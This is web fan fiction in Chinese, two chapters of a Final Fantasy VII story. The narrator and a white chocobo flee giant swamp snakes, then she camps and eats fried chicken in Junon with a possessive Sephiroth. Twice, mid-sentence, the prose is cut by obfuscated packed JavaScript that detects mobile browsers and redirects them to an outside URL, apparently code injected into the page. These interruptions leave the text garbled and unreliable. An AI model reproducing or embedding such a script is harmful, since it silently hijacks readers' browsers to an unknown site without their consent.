“别不承认啊,失败就是失败嘛。当年你从魔晄炉里掉下去的时候,姿势帅不帅?有没有喊一句‘I''ll be back’什么的?” 那丝冰冷的波动再次出现,并且持续了更长的时间,带着一种明确的警告意味。 好吧,看来不能再拿这个梗玩了。 我收回在脑内的心思,重新将注意力放回眼前的困境。 要不跳下来把它踹进去? 想到这里,我从“萨菲罗斯二号”的背上跳了下来,双脚稳稳地踩在松软的草地上。 刚失去我的重量,那只白色的陆行鸟如蒙大赦,立刻掉头,以比来时快两倍的速度,“咕嘎咕嘎”地逃回了草原深处,仿佛后面有鬼在追。 ? 很好。 半小时后,我再次骑着银发长毛怪站在了沼泽前。 它经过我刚刚的抓捕,认识到了我是比里面的巨蟒还可怕的东西。 居然能从一只鸟的眼里看到绝望。 我指着前方。 ”动!“ 它认命的踏进了沼泽,慢吞吞的。 噗叽。 爪子陷入泥沼,发出令人牙酸的黏腻声响。 一股浓烈到几乎令人窒息的恶臭瞬间涌了上来,是硫磺、腐烂植物和某种难以形容的生物腥臊味的混合体,熏得我忍不住皱了皱鼻子,顺手拉高了克劳德连帽衫的领子,虽然没什么用。 “快点动!磨蹭什么? ”我用靴跟不轻不重地磕了一下它的侧腹。 “咕嘎——!” 白色陆行鸟发出一声凄厉的悲鸣,仿佛我的话语比沼泽本身更可怕。 它认命般地闭上了圆溜溜的眼睛,另一只爪子也跟着踏入了泥沼之中。身体因为恐惧而剧烈地颤抖着,每一步都走得异常艰难,仿佛脚下不是泥沼,而是烧红的铁板。 黏稠的泥浆很快就没过了它的小腿,留下深绿色的污迹。 【“真是可悲的小东西。”】 声音里听不出什么情绪,像是在陈述一个客观事实,又或者带着一丝难以捉摸的兴味。 【“恐惧是弱者的本能。不过,它选择服从更强大的恐惧,倒也算是一种明智。”】 就在这时,“萨菲罗斯二号”突然发出一声短促而惊恐的尖叫,整个身体猛地向后一缩,差点把我掀翻下去。 前方的水面下,一个巨大的、覆盖着墨绿色鳞片的阴影无声无息地滑过,搅动起浑浊的泥浆和令人作呕的气泡。 “咕嘎嘎嘎——!”陆行鸟吓得魂飞魄散,两条腿疯狂地在泥沼里扑腾。 这只陆行鸟猛地往沼泽更深处跑去了. 狂风猛地掀飞了我的兜帽,冰冷的空气夹杂着沼泽特有的腥臭味劈头盖脸地砸过来。 身下的“萨菲罗斯二号”彻底疯了,它爆发出了前所未有的速度,两条长腿在泥泞中疯狂交替,与其说是奔跑,不如说是连滚带爬地向前冲刺,溅起的泥浆劈里啪啦地打在我的黑袍上,留下星星点点的污迹。 “喂喂!慢点!你想把我甩下去吗?!” 我被颠得七荤八素,一边抓紧缰绳稳住身体。 “咕嘎嘎嘎——!!” 这家伙显然已经听不进任何话了,求生的本能压倒了一切,包括对我这个“更可怕存在”的恐惧。 身后,那股沉重而冰冷的压迫感越来越近。我不用回头都能“看”到,那条米德加巨蟒庞大的身躯如同移动的小山,在浑浊的泥水中破开波浪,巨大的三角脑袋高高昂起,冰冷的竖瞳锁定了我们这顿看起来不怎么好啃的点心。 它每一次蠕动都让地面微微震颤,搅起的泥浆如同沸腾的开水。 野太刀在我手中凝实,我回过头,瞄准。 一击凌厉的刀光。 突兀的,此时,陆行鸟颤栗了一下。 那抹漆黑的刀气打歪,将巨蟒身侧的树干化为齑粉。 “……” 啧,我的坐骑怎么这么不配合我? 身后腥风扑面,那股混合着腐烂水草和浓烈土腥气的恶臭几乎凝成实质,让人头皮发麻。 不用回头,那如同火车碾压般的沉重压迫感也昭示着米德加巨蟒已经近在咫尺。它显然被我刚才那偏离目标的攻击彻底激怒了。 就在这时,“萨菲罗斯二号”再次发出一声惊天动地的惨叫:“咕嘎——!!” 一道巨大的阴影从侧面袭来,速度快得惊人。 那是巨蟒粗壮如同攻城锤般的尾巴,裹挟着浓稠的泥浆和沛然巨力,狠狠地朝着我们扫来,带起的劲风甚至压弯了附近的几棵矮树。 在千钧一发之际,这只陆行鸟为了求生, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485862|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 居然猛地一跃。 蔚蓝的天空不同于米德加的灰蒙,在一瞬之间,仿佛触手可得。 耳畔是巨大力道带来的轰鸣。 扑通。 安稳落地。 陆行鸟重新回到地面疯狂逃命。 我的眼睛微微瞪大。 “这也太——刺激了吧?” 这只陆行鸟还有这种潜力吗? 就在此时,巨大的动静让沼泽更深处的某些东西被吸引了,隔着很远,我也能看到阴影处蠕动的身影。 又一只……? 我抓住萨菲罗斯二号的缰绳,指着前方。 “冲!” 十分钟后。 泥浆飞溅,恶臭扑鼻。 身后那四条庞然大物搅起的浑水几乎要形成一道移动的泥墙,轰隆隆地紧追不放。每一次它们庞大身躯的蠕动都带来地面的震颤,粗重的喘息声和鳞片摩擦湿泥的沙沙声混合在一起,如同死亡的背景音。 “加速!” 四只巨蟒在我们身后穷追不舍。 前方的树干被身后喷出的毒液猛地腐蚀,陆行鸟嘎咕一声越过,同时跃起,躲过了一只巨蟒的甩尾。 我扯着陆行鸟的缰绳,将它往左边扯,来了一个干脆地漂移,躲过了一只巨蟒的猛咬。 “左边!笨鸟!想被串成烤串吗?!” 我猛地一扯缰绳,同时身体向左侧倾斜,几乎要贴到陆行鸟汗湿的白色羽毛上。 就在我们刚刚离开原地的瞬间,一道粗壮的、如同攻城弩炮射出的骨刺擦着陆行鸟的尾羽飞过,“咄”的一声深深钉入了前方不远处的泥地里,溅起大片的黑泥和腥臭的积水。 那是追在最右侧那条巨蟒吐出的攻击。 “轰隆——!” 身后传来巨大的水声,紧接着是地面剧烈的震动。 一条巨蟒似乎失去了耐心,庞大的身躯猛地从泥沼中窜起,带起漫天污浊的水花和泥浆,如同小山般朝着我们砸了下来。 巨大的阴影瞬间笼罩了头顶。 “跳!” 我厉声喝道,同时双腿用力一夹鸟腹。 “咕嘎啊啊啊——!” 或许是我的命令太过突然,或许是死亡的威胁近在眼前,“萨菲罗斯二号”再次爆发出惊人的潜力,它后腿猛地发力蹬地,整个身体如同被投石机发射出去般向前上方跃起! 时机抓得刚刚好。 巨蟒庞大的身躯几乎是擦着我们刚才所在的位置重重砸下,激起的泥浪如同海啸般向四周扩散,将几棵碗口粗的枯树拦腰拍断。 而我们则借着这一跃之力,短暂地腾空,越过了一小片漂浮着怪异浮萍的水域。 “干得漂亮!萨菲罗斯二号!” 我忍不住拍了拍它的脖子,虽然手感黏糊糊的,沾满了泥浆和汗水。 刚夸完,我一抬头。 “……” “嘎——!” 身下的白色陆行鸟发出一声绝望的悲鸣,前冲的势头戛然而止,两条长腿因为急刹而在泥泞的地面上划出两道深深的沟壑,差点把我直接甩飞出去。 我勒住缰绳,抬头看向前方。 触目所及,是一面高耸入云、近乎垂直的巨大岩壁,灰黑色的岩石表面布满了风化的痕迹和深浅不一的裂缝。 岩壁仿佛被利刃齐齐切下,光滑陡峭,几乎找不到任何可以攀爬的落脚点。顶部隐没在缭绕的雾气中,看不到尽头。 左右两侧同样是延伸出去的峭壁,将这片沼泽的尽头彻底封死,形成了一个天然的绝境。 —— 怎么一会没操控它,它就跑到死路了? 身后,轰隆隆的巨响和地面剧烈的震动越来越近,那四条被彻底激怒的米德加巨蟒显然不打算给我们任何喘息的机会。 腥臭的狂风裹挟着令人作呕的泥浆味扑面而来,危险的阴影如同实质般笼罩下来。 我回过头,野太刀再次在我手上凝聚—— 银色的长发,漆黑的单片羽翼。 凌冽的刀光。 仿佛有一道无形的线从空气中展开。 四条巨蟒同时在刹那间静止了。 然后,是四分五裂的崩毁。 粘稠的、带着腥臭味的血液如同暴雨般从空中泼洒而下,混合着碎裂的内脏和暗绿色的鳞片残骸,将原本就污浊不堪的沼泽地面彻底染成了一片血红。 我抬头,望着那个半空中的身影。 身下的陆行鸟终于停止了颤抖,但并非恢复了平静,而是彻底瘫软了下去,四肢无力地支撑着身体,脑袋低垂着,大口大口地喘着粗气,连抬眼看一眼周围惨状的勇气都没有。 那张俊美得近乎妖异的面容平静无波,碧绿色的眼眸如同两潭深不见底的寒泉,居高临下地注视着我,然后慢慢降落。 我眨了眨眼。 突然直起身,一把抓住他的手。 沾着泥浆的指尖触及精神体有些不实的漆黑手套上,触感有些凉,但又是切切实实的触感。 萨菲罗斯的身体在空中划过一道短暂的弧线,漆黑的单片羽翼下意识地扇动了一下,维持着平衡。 那双碧绿的眼眸微微波动了一下。 他好像原本要说些什么,却被打断了。 那抹音节消逝在空气中,转化为稍顿的尾音。 片翼的天使被我从半空中拽下—— 安置在了我陆行鸟的后座上。 “……” 55.第52章 夜色降临,珠诺村的阴影也近在咫尺。 沼泽地带特有的浓重湿气和腐烂气味逐渐被海风带来的咸腥气息所取代。 脚下的土地不再是黏腻的泥沼,变成了混杂着沙砾和枯草的硬实地面。远方地平线上,隐约可见一些低矮的、带着海港特色的建筑轮廓。 我抓着陆行鸟的缰绳,命令它继续向前冲。 “萨菲罗斯二号,往前进发!” 身后是萨菲罗斯。 他环着我的腰,力道好奇怪。 在我叫出那只鸟的昵称之时,他发话了。 “你确定要给它这个名字?” “当然确定啊。” 我理所当然地回答身后那个声音,语气轻快。 “你看它这身白毛,多漂亮,多威风,跟你那头银发不是挺配的嘛?叫萨菲罗斯二号,正好跟你凑一对,多有排面!” 我扭头,想看看身后这家伙的表情,结果后脑勺不轻不重地撞上了一个坚硬的东西。 “嘶——” 我捂着后脑勺,抱怨道。 “喂!你靠那么近干嘛?想谋杀你的未来皇帝吗?” 萨菲罗斯没有立刻回应,环在我腰间的手臂似乎收紧了一点,将我更牢固地圈在他的身前。 他的胸膛紧贴着我的后背,隔着几层衣料,我甚至能感觉到他精神体那非同寻常的、带着一丝冰凉的“体温”。 他的下巴轻轻搁在我的头顶,银色的发丝垂落下来,有几缕扫过我的脸颊,痒痒的。 “它只是一只普通的陆行鸟。愚笨,胆怯,甚至连基本的方向感都没有。” 他陈述着事实,语气平淡得像在评价一件无足轻重的物品。 “将我的名字冠在这样一只生物身上,你不觉得……是一种亵渎吗?” 萨菲罗斯微微侧过头,冰凉的鼻尖擦过我的耳廓,温热的呼吸喷洒在颈侧,激起一阵细微的战栗。 “亵渎?” 我嗤笑一声,伸手拨开脸上那些碍事的银发。 “得了吧,萨菲罗斯。一个差点被自家小兵推下魔晄炉淹死的前英雄,现在连个实体都没有,只能当个随身系统兼储物空间的家伙。” 我感觉到他环在我腰间的手臂明显僵硬了一下,力道骤然增大,然后又放松—— 他掐了我一下。 “!!!” 腰侧猛地传来一阵古怪的感觉,我差点从狂奔的陆行鸟背上弹起来。 “喂!” 我扭过身,试图用胳膊肘去顶身后那个家伙的胸膛,结果被他轻巧地格挡开。 早知道就让他在天上自己呆着好了。 我气得头顶快要冒烟,又要无赖的去扯他头发,却被身下陆行鸟突然的一个趔趄打断了。 “咕嘎?!” 原来是长时间的狂奔和惊吓,加上背上两个不安分乘客的“打闹”,让“萨菲罗斯二号”终于不堪重负,脚下一软,差点直接跪倒在地。 幸好它及时稳住了身形,但速度明显慢了下来,变成了小跑,还委屈地甩了甩脑袋,发出几声疲惫的“咕嘎”声。 --- 夜晚。 珠诺前的森林。 我坐在一团火堆旁,萨菲罗斯二号正在一旁吃野菜休息。 火堆噼啪作响,橘红色的火焰舔舐着干燥的木柴,将温暖和摇曳的光影投射在周围。 我先是将身上的黑袍脱掉,放在旁稍稍晾晒,然后思考着等会吃点什么。 到了珠诺,整点炸鸡吃? ……那里有吗? “珠诺就在前面了。” 萨菲罗斯在我身后坐着,他干净优雅的就好像和我不是一个画风的。 “那里有神罗的重要港口和魔晄能源设施。虽然比不上米德加,但也是一个关键的节点。” “你想去那里做什么?” 他主动问道,语气平静,听不出什么特别的意图。 “补充物资?还是……另有打算?” “换身衣服!顺便找点好吃的。” 我毫不犹豫地回答。 “这身衣服有些大,还是别人的旧衣服,穿着难受死了!而且你看这袍子,都被泥点子弄脏了!” 我扯了扯身上这件属于克劳德的黑色连帽衫,又嫌弃地拍了拍火堆旁黑袍下摆沾上的点点泥污。 “一个未来的盖亚皇帝,怎么能穿得这么寒酸?必须得换套又帅又舒服的行头才行!” 萨菲罗斯似乎对我的回答并不意外,或者说,在他看来,这完全符合我的行事风格。 “珠诺的商业区确实有一些不错的店铺。” 他表示赞同,手指无意识地卷起我散落在肩头的一缕银发,冰凉的触感若有若无。 “需要我给你一些建议吗?或者,直接帮你‘挑选’一套?” 没等我回答。 他轻而易举地隔着布料找到了连帽衫前的拉链头。 嗤啦—— 伴随着轻微的声响,拉链被他从下往上缓缓拉开了几寸。夜风立刻灌了进来,带着海港特有的咸湿气息,吹拂在裸露的皮肤上,带来一阵凉意。 ?? 我抓住他的手,回过头。 满头问号。 “你干什么?” 跳跃的火光在萨菲罗斯的脸上投下明明灭灭的光影,那双碧绿的眼眸在半明半暗中显得格外深邃,如同幽深的湖泊,映照着我带着疑惑和明显不满的脸。 他低头看着我,仿佛刚才那个突兀的举动并非出自他手。那被我抓住的手腕也没有挣扎,任由我握着。 “帮你整理一下衣物。” 萨菲罗斯开口,声音低沉平稳,带着他特有的、慢条斯理的腔调。 “这件衣服,并不适合你。材质粗糙,款式普通,而且…太宽松了。” 他的视线顺着被拉开的拉链向下扫去。 夜风带着凉意吹拂而过,在肌肤上激起一阵细微的疙瘩。 “……” “松开。” 他的目光重新回到我的脸上。 “哈?你先说清楚你要干嘛!” 我瞪着他,手上的力道反而加紧了几分。 “什么叫帮我整理衣物?有你这么整理的吗?直接扒人衣服?” “我说过,帮你整理衣物。” 他重复道,声音平稳,好像一切都理所应当。 “只是正常的检查步骤。确保它没有隐藏的破损,或者……沾染上不该有的东西。” 他的指尖,隔着一层薄薄的黑色手套,轻轻摩挲了一下我的手腕内侧,带来一种冰凉而奇异的触感。 “比如,属于那个金发人偶的气味。” 我现在收回感觉萨菲罗斯精神比以往还要好一些的话,虽然他的语言和心情看起来是比之前优不少。 说的都是什么奇怪的话。 我拍开他的手,往旁边挪了挪。 “有个屁的味道,离我远点。” 被我毫不客气地拍开手,萨菲罗斯并未显露出任何其他的神色。 他只是维持着之前的姿势,那双在火光下显得愈发幽深的碧绿眼眸静静地看着我,目光如同实质般滑过我的侧脸、脖颈,最后落在我刚刚用来拍他手的那只手上。 “……” 让我想起了之前在神罗打工时,去实验区每次要过一次的激光安检。 “生气了?” “哈?我生哪门子气?” 我转过头,没好气地瞪了他一眼。 “是你自己莫名其妙,还问我生不生气?” 我伸手想把拉链拉回去,指尖刚碰到冰凉的金属拉头,他的声音再次响起。 “别动。” 简单两个字。 我动作一顿,狐疑地看着他:“又想干嘛?” “只是觉得,”萨菲罗斯的目光从我的脸上移开,缓缓滑落,最终定格在我敞开的领口处,碧绿的眼眸在火光映照下闪烁着幽微的光泽,“这样更好看些。” “虽然衣物质料劣等,款式也平庸至极。但至少,敞开一些,能让你看起来不那么…局促。平时,你看起来像是一只被卡着领子的猫。” “而且,”他话锋一转,目光重新抬起,直视着我的眼睛,那里面带着一种近乎冰冷的专注,“我还是坚持我的观点。那上面沾染的气味,让人不悦。” “需要彻底清除。” “……” 真是无语。 “一件衣服而已,能有什么气味?再说就算有,跟你有什么关系?” “当然有关系。” 萨菲罗斯回答得斩钉截铁,身体微微前倾,拉近了我们之间的距离。 “凡是与你有关的一切,都与我有关。你的衣食住行,你的所思所想,都应该只属于我,只与我相关。” 他伸出手,这一次没有直接触碰我,而是轻轻捻起我垂落在胸前的一缕银发,放在指尖把玩。 “任何不属于我的‘杂质’,都应该被清除干净。无论是这件衣服,还是…它原本主人的痕迹。” 他的拇指和食指轻轻摩挲着我的发丝,动作带着一种奇异的缱绻感。 我没理他,只是把领口的拉链拉上了。 萨菲罗斯那对翠绿的竖瞳盯着我。 一旁,白色陆行鸟已经解决了晚饭,正趴在地上睡觉,软软的毛发随着它的身躯稍稍颤抖。 我有点手痒,就伸出手,想要摸一把—— 手腕被抓住了。 “不要试图将你的注意力分散给那些无足轻重的存在。” 他低语道。 “行行行,知道了知道了!” “我不摸它了行吧?你是死人你最大。” 真是麻烦死了。 早知道当初就不该手贱把他从天上拽下来。让他自己飘着多好。 森林的夜晚静谧下来,只剩下篝火燃烧时偶尔发出的噼啪声,以及远处传来的模糊的海浪声。 我盯着火堆发呆,萨菲罗斯坐在我身侧,我们的手交握。 “……不休息吗?” 他忽然发问。 我啊了一声,抬起头,正要说些什么—— 身体失去平衡,后背撞上一个带着凉意的“胸膛”。 还不待我反应过来,腰间的手臂便收紧了,将我整个人牢牢地圈在他的怀里,动弹不得。后脑勺再次抵上了他的锁骨附近,坚硬的触感提醒我这个精神体并非全无实体。 属于萨菲罗斯的气息,清冷而独特,如同雪松混合着某种难以言喻的金属质感,将我包裹。 我早就习惯了这种姿势。 抬起头,是闪烁的星光,夜风会卷起他的发丝,飘过我的眼前。 两人交缠的银发闪着点点光彩,仿佛在与星星一齐点缀无垠的夜空。 “喂,你知道,我们两个都不用睡觉吧。这不是多余的事情吗?” 面对我的问话,萨菲罗斯的声音在我头顶响起。 “你不是很喜欢做多余的事情吗?” —— 明明身体不会饥渴,却执意的寻求食物。 明明是无意义的名誉,却一直在意。 明明是无聊透顶的书籍和漫画,却乐此不疲。 明明可以选择就那样安逸,却陪他走上了这条路。 明明只要不管,他就会离开——却抓住了他。 —— 我挑了挑眉,不置可否。 伸出手,往上,在天空中一抓。 “萨菲罗斯,我要一统星际!” 身后的萨菲罗斯沉默了几秒,随后,低沉的、带着奇异磁性的轻笑声在我头顶响起,震动着他的胸腔,也透过紧贴的后背传递给我。 “嗯。” 简单的应答。 我的手往后,抓住了一缕他的头发。 “我还要奴役你。” “……是吗?” “让你往东不能往西,让你去给我抓陆行鸟,你就得去抓一万只回来!” 我越说越起劲,仿佛已经看到了萨菲罗斯被我呼来喝去的未来,忍不住轻笑起来。 “到时候,看你还敢不敢随便掐我腰,还敢不敢管我摸不摸陆行鸟。” “你的想法总是如此…别致。” “怎么?你不愿意?”我挑眉看他,虽然只能看到他的下颌和一小片苍白的脖颈,“败军之将,还想挑三拣四?能给你个二把手当当就不错了!” 萨菲罗斯发出了一声浅浅的哼声,他好像调整了一下姿势,下巴轻轻蹭过我的头顶。 “那你呢?” “……什么?” 他的声音沾染上一股兴味。 “如果你败了,有想过自己的下场吗?” “嗯?” 萨菲罗斯突如其来的反问让我愣了一下,原本在脑海里构筑的“奴役萨菲罗斯一百零八式”的宏伟蓝图瞬间被打断。 我败了? 这个可能性,我还真没怎么仔细想过。 毕竟,在我的人生字典里,“失败”这个词出现的频率约等于五台特产店打折促销的次数—— 少得可怜,而且通常都是因为某些不可抗力,比如训练时萨菲罗斯这混蛋又耍赖用了高级魔法,或者猜拳的时候扎克斯那家伙运气爆棚。 但如果是最终决战……输给萨菲罗斯? 我扭了扭脖子,试图从他怀里转过身去正面看他,结果被他箍得更紧了。 这家伙,力气还真不小,明明只是个精神体。 “喂,松开点,勒死我了!” 我不满地抱怨,用手肘往后顶了顶,毫无意外地再次撞上坚实的“胸膛”。 萨菲罗斯非但没松,反而将下巴更深地埋进我的发间。 “回答我。” “如果你败了,你会如何?” “我怎么可能会败?” 我哼了一声。 “开什么玩笑?我可是注定要成为盖亚皇帝的女人!就算是你,等我完全掌握了 Chaos 的力量,再加上杰诺瓦的力量,打败你也只是时间问题!” 我说得信心满满,仿佛胜利已经是囊中之物。 “更何况,”我话锋一转,“就算万一,我是说万一,真的出现了那么一丁点微乎其微的可能性,我没打过你……” 我故意拖长了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15485863|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尾音,感受着身后那具身体的细微反应。 “那又怎么样?” 我耸耸肩,一副无所谓的态度。 “大不了就是死呗。反正Chaos也会无限复活我。” 我能感觉到萨菲罗斯放在我腰间的手臂肌肉瞬间绷紧了。 “……你不会再有消逝掉的机会。” “你选择陪伴我,但又选择对我刀刃相向——败者的结局,会那么简单吗?” 他空着的另一只手抬起,冰凉的指尖轻轻滑过我的脸颊,从颧骨到下颌,动作带着一种近乎情人般的温柔。 “失败者,自然要付出失败的代价。” 他的指尖停留在我的下巴上,微微用力,迫使我微微抬起头,迎向他低垂的视线。 “我会让你明白,挑战我的权威,需要怎样的觉悟。” “哦?” 我挑眉,有些好奇。 “说说看,你想怎么让我‘明白’?把我绑起来吊在神罗塔尖上当风铃?还是把我变成你的专属抱枕,天天抱着睡觉?” 我故意用轻佻的语气调侃他,试图激怒他,或者说,只是单纯地想看看他会是什么反应。 “抱枕?”萨菲罗斯轻笑起来,胸腔的震动清晰地传递给我,“这个提议倒是不错。不过,仅仅是抱着,未免太浪费了。” “既然是我的‘所有物’,自然要物尽其用。” 他的声音压得很低。 “我会把你锁在我身边,日日夜夜,寸步不离。” “你的身体,你的力量,你的意志……都将彻底属于我。我会一点一点地侵蚀你,改造你,让你从内到外都染上我的印记,直到你再也无法离开我,思绪中永远留着我的钢印。” “你会成为我最完美的收藏品,我最忠诚的‘武器’,也是……” 他顿了顿。 “我永恒的‘伴侣’。” “……” 听起来真没意思。 感觉不如我让他去抓陆行鸟。 “萨菲罗斯,你吃炸鸡吗?” 我把话题转到我更感兴趣的地方。 他又笑了出来。 带着一种奇特的韵律感,仿佛不是单纯的愉悦,而是一种更复杂的、带着审视和玩味的情绪。 过了会,萨菲罗斯将那个定义叙述出来。 “一种将禽肉裹上粉浆,通过高温油炸烹饪而成的人类食品。” “高热量,高脂肪,营养成分单一。除了能短暂满足口腹之欲和提供基础能量外,并无太多价值。” 微微停顿后,那搁在我头顶的下巴动了动,银色的发丝再次扫过我的脸颊。 “你想吃那个?” 他再次确认,语气里听不出喜恶,更像是在确认一个既定事实。 “对啊!” --- 第二天。 珠诺的街道比想象中要热闹一些。 虽然无法与米德加上层圆盘的繁华相比,但作为重要的港口城市和魔晄能源中转站,这里人来人往,充满了活力,空气中弥漫着海风的咸腥、鱼市的腥味以及隐约的机油味。 我们这奇异的三“人”组合走在街道上,自然吸引了不少目光。 两个穿着一模一样、将全身裹得严严实实的黑袍人,脸上还戴着遮住大半面容的面罩,身后跟着一只看起来筋疲力尽、羽毛还沾着不少干涸泥点的白色陆行鸟——这幅景象想不引人注目都难。 “我说,萨菲罗斯——” 我偏过头,声音透过面罩传出来有些闷闷的。 “我们这样是不是太招摇了点?” “招摇?” 萨菲罗斯的声音从我身侧传来,同样隔着面罩,但那份特有的优雅和从容丝毫未减。 “只是选择了与环境不符的装束而已。人类总是对异于常态的事物格外关注,这是他们的本能。” 他迈着不紧不慢的步子,黑色的袍角随着他的动作微微摆动,没有沾染半点灰尘,与我身上那件还残留着沼泽气息的袍子形成鲜明对比。 他具现出的身体似乎对污垢有天然的排斥力。 “那你倒是想想办法啊,”我不满地嘟囔,“总不能走到哪都被人当猴看吧?我还怎么低调地品尝美食?” “低调?你刚才在服装店挑选这身行头的时候,可没见你考虑过低调的问题。” 萨菲罗斯语气平淡地陈述事实. “你坚持要和我穿一样的,理由是‘这样才有老大带小弟的气势’。” “那是为了让你看起来更像我的保镖!” 我立刻反驳。 “谁让你出来抢风头的?长那么高干嘛!” 我感觉他那边传来一声极轻的、类似叹息的气音,但很快就消失了。 “无妨。他们的注视无关紧要。” 萨菲罗斯的目光扫过周围那些或好奇、或警惕、或畏惧的眼神,如同在看一群聒噪的飞。 “只要不阻碍我们,就不必理会。” 他的手指轻轻碰了碰我牵着陆行鸟缰绳的手背,冰凉的触感透过手套传来。 “比起这个,你更应该关注眼前的目标。”他的视线投向前方不远处一个挂着巨大炸鸡招牌的店铺,“那里,就是你心心念念的地方。” “哇!找到了!” 我眼睛一亮,立刻把刚才关于路人目光的抱怨抛到脑后,拽着明显不情不愿的“萨菲罗斯二号”就往前冲。 “快快快!炸鸡!我来了!” 还没等我冲到门口,萨菲罗斯一把拉住了我的胳膊。 “急什么。” 他的声音依旧平稳。 “你的坐骑需要安置。带着它进去,会引起不必要的麻烦。” 我低头看了看脚边这只累瘫了的白色陆行鸟,它正用一种“求求你放过我吧”的眼神瞅着我,两只爪子还微微发抖。 “啧,真麻烦。”我撇撇嘴,松开了缰绳,“那你看着它,我去买!给我买最大份的全家桶!” 说完,我转身就要往店里冲。 “等等。”萨菲罗斯再次拉住我,这次是扣住了我的手腕,“我说的是安置它,不是让你丢下它。跟我来。” 他不由分说地拉着我,走到炸鸡店旁边一条相对僻静的小巷入口。然后,他放开我的手腕,转向那只陆行鸟。 碧绿色的眼眸静静地注视着白色陆行鸟,明明没有任何动作,那只可怜的鸟却抖得更厉害了,发出一连串“咕嘎咕嘎”的哀鸣,脑袋几乎要埋进自己的翅膀里。 “待在这里,不准乱跑,不准发出声音。” 萨菲罗斯用一种不容置疑的语气命令道,声音并不大,却带着一种奇异的威慑力。 白色陆行鸟像是听懂了一样,僵在原地,一动不动,连抖都不敢抖了,活像一座白色的羽毛雕像。 “现在,可以去满足你的口腹之欲了。” 他很自然地牵起我的手,拉着我走向炸鸡店的大门。 “喂喂!我自己会走!” 我试图把手抽回来,却被他握得更紧。 “人多,容易走散。” 呵呵,你就等着吃魔鬼特辣版吧! 56.第53章 “欢迎光临——呃……” 柜台后一个系着油腻围裙、身材微胖的中年大婶原本正热情地招呼着,看到我们,声音也卡顿了一下,脸上的笑容变得有些勉强。 “两位…要吃点什么?” 萨菲罗斯对我这种被围观的情况视若无睹,用一种优雅得与周围环境格格不入的姿态,不着痕迹地在我身前半步,将大部分投向我的视线隔断。 “你点。” 他侧过头,声音透过面罩传出来. “我要这个,这个,还有这个!” 我挣开他的手,挤到柜台前,毫不客气地指着菜单上最大份的全家桶、一份看起来就很辣的魔鬼辣翅桶,还有一杯超大杯的可乐。 “全都要最大份的!再来一份芝士熔岩薯条!” 点完餐后,我迫不及待的跑到了旁边的座位坐下,桌子上的小篮子里有开胃的免费小零食,我翻出来打量着—— 话梅,干枣,酸角干。 随手撕开一包酸角干,我正打算尝尝味道,旁边那个不符合画风的萨菲罗斯突然开口了。 “等等。” 萨菲罗斯按住了我的手。 “又干嘛?” 他没有说话,只是从纸袋旁边拿起一包湿纸巾,撕开,然后仔仔细细地擦拭着我的手指,从指尖到指缝,冰凉湿润的触感在皮肤上蔓延。 “多此一举。” 我感觉自己就像是一只被强迫梳理羽毛的陆行鸟。 萨菲罗斯弄干净我的手后,他替我拉下了黑袍的兜帽,那头微翘的银发显露出来,他的视线不知为何在某撮发丝上停留了一会,又收回。 “两位久等了!你们的火山爆发辣翅桶,三份全家桶豪华版,还有芝士熔岩薯条和超大杯可乐来啦!” 伴随着服务员刻意提高的爽朗声音,餐点被放在了座位上。 “哇——!” 桌子立刻被堆得满满当当。金黄酥脆的炸鸡块堆成了小山,散发着诱人的热气;红亮亮的辣翅上裹满了粘稠的酱汁,一看就火力十足;薯条上淋着融化的芝士,咕嘟咕嘟地冒着小泡。 我深吸一口气,感受着那股霸道的香气直冲天灵盖。 按照吃炸鸡的标准流程,我没有着急,先是打开可乐—— 萨菲罗斯把插好吸管的可乐推到了我面前。 好吧,那下一步是准备番茄酱,先把它—— 装着调料的小盒子被整整齐齐的打开放在我面前。 我狐疑地瞥了萨菲罗斯一眼。 “……怎么?” 萨菲罗斯的声音隔着面罩传来,那双碧绿的眼眸准确地捕捉到了我审视的目光。 “哼,算你识相。” 我收回目光,拿起一块最大的鸡腿,金黄色的外皮在灯光下闪烁着油润的光泽,散发出浓郁的肉香和香料混合的霸道气息。 我毫不犹豫地张大嘴,狠狠咬了一口。 “咔嚓——” 酥脆的外皮应声裂开,滚烫的肉汁瞬间在口腔中爆开,鲜嫩的鸡肉带着恰到好处的咸香和一丝微弱的辛辣,完美地刺激着味蕾。 太好吃了!就是这个味! 搞定鸡腿后,我开始爽吃辣翅,吃着吃着,感觉好像有点奇怪。 一抬头,发现他正直直地盯着我。 萨菲罗斯一动不动,连袍角的褶皱都没有丝毫变化,带着瑰丽色彩的眸子安静的落在我身上,仿佛我不是在吃炸鸡,而是在进行某种神圣的仪式。 “你不吃吗?” 我含糊不清地问,勉强咽下嘴里的鸡肉。 “有美味得多的东西。” “比如,你此刻因为满足而微微上扬的嘴角,因为辛辣而泛红的脸颊,还有你眼中…那因为单纯的食欲而闪烁的光芒。” 萨菲罗斯的声音如同情人间的低语,带着一种令人心悸的温柔和专注。 “这些,远比那些经过烹饪的禽肉,更能引起我的‘食欲’。” 我伸出手够薯条的动作顿了顿。 这又是什么怪话? 不过—— “你还是和以前差不多嘛。” “……” 萨菲罗斯微微皱眉。 一时之间,他好像陷入了某种思索之中。修长的手指轻轻叩击着桌面,发出极轻微的、有节奏的声响, 我把薯条塞进嘴里,浓郁的芝士和土豆的咸香瞬间充斥口腔。 半晌后。 “我的变化,你没有感受到?” 